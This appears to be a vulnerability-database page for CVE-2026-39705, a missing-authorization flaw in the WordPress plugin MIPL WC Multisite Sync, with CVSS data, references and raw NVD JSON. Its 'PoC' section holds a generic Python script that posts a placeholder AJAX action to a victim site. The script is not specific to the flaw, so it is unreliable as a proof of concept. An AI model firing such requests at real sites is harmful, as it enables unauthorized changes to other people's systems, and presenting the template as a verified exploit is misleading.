CVE-2026-39705

Description

Missing Authorization vulnerability in Mulika Team MIPL WC Multisite Sync mipl-wc-multisite-sync allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MIPL WC Multisite Sync: from n/a through <= 1.4.4.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MIPL WC Multisite Sync <= 1.4.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_missing_auth(target_url):
    """
    Conceptual Proof of Concept for CVE-2026-39705
    Exploits Missing Authorization in MIPL WC Multisite Sync.
    """
    # Target endpoint (often wp-admin/admin-ajax.php for WP plugins)
    url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload data based on vulnerable action
    # Note: The actual 'action' name needs to be extracted from plugin source code
    data = {
        "action": "vulnerable_mipl_action",  
        "param": "unauthorized_change"
    }

    try:
        response = requests.post(url, data=data, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if state changed.")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error connecting to target: {e}")

# Usage
# exploit_missing_auth("http://victim-site.com")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39705
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39705
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39705/
[4] VulDB https://vuldb.com/cve/CVE-2026-39705
[5] https://patchstack.com/database/Wordpress/Plugin/mipl-wc-multisite-sync/vulnerability/wordpress-mipl-wc-multisite-sync-plugin-1-4-4-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39705", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:43.230", "lastModified": "2026-04-24T18:05:35.730", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Mulika Team MIPL WC Multisite Sync mipl-wc-multisite-sync allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MIPL WC Multisite Sync: from n/a through <= 1.4.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mipl-wc-multisite-sync/vulnerability/wordpress-mipl-wc-multisite-sync-plugin-1-4-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}